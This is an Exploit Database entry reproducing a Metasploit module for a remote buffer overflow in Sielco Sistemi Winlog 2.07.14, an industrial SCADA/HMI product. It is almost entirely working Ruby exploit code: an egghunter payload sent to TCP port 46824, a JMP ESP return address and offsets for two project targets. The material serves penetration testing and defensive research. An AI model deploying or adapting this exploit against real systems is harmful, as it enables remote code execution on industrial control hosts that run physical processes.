Sielco Sistemi Winlog 2.07.14 – Remote Buffer Overflow (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2012-06-08
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/19025/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Egghunter

def initialize(info = {})

super(update_info(info,

'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',

'Description'=> %q{

This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.

When sending a specially formatted packet to the Runtime.exe service on port 46824,

an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' =>

[

'm-1-k-3 <m1k3[at]s3cur1ty.de>'

'References' =>

[

[ 'BID', '53811'],

[ 'URL', 'http://www.s3cur1ty.de' ],

[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]

'DefaultOptions' =>

{

'ExitFunction' => 'process',

'Platform' => 'win',

'Payload'=>

{

'Space'=> 2000,

'BadChars' => "\x00",

'DisableNops' => true,

'Platform' => 'win',

'Targets'=>

[

[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',

{

'Ret'=> 0x405153df,

'Offset' => 167,

}

], #Jmp ESP - Vclx40.bpl - 0x405153df

[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',

{

'Ret'=> 0x405153df,

'Offset' => 151,

}

], #Jmp ESP - Vclx40.bpl - 0x405153df

#The reliability depends on the actual project. We need to generate some more

#targets. Two of them for the default project and one other project is now available.

'Privileged' => false,

'DisclosureDate' => 'Jun 04 2012',

'DefaultTarget'=> 0))

register_options([Opt::RPORT(46824)], self.class)

end

def exploit

connect

egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)

print_status("Placing the shellcode")

shellcode = rand_text_alpha(2000)

shellcode << egg

sock.put(shellcode)

select(nil,nil,nil,1)

buffer = rand_text_alpha(20)

buffer << "\x14" * 10 #trigger the crash

buffer << rand_text_alpha(target['Offset'])

buffer << [target.ret].pack('V')

buffer << egghunter

buffer << rand_text_alpha(69 - egghunter.length)

print_status("Trying target #{target.name}...")

sock.put(buffer)

handler

disconnect

end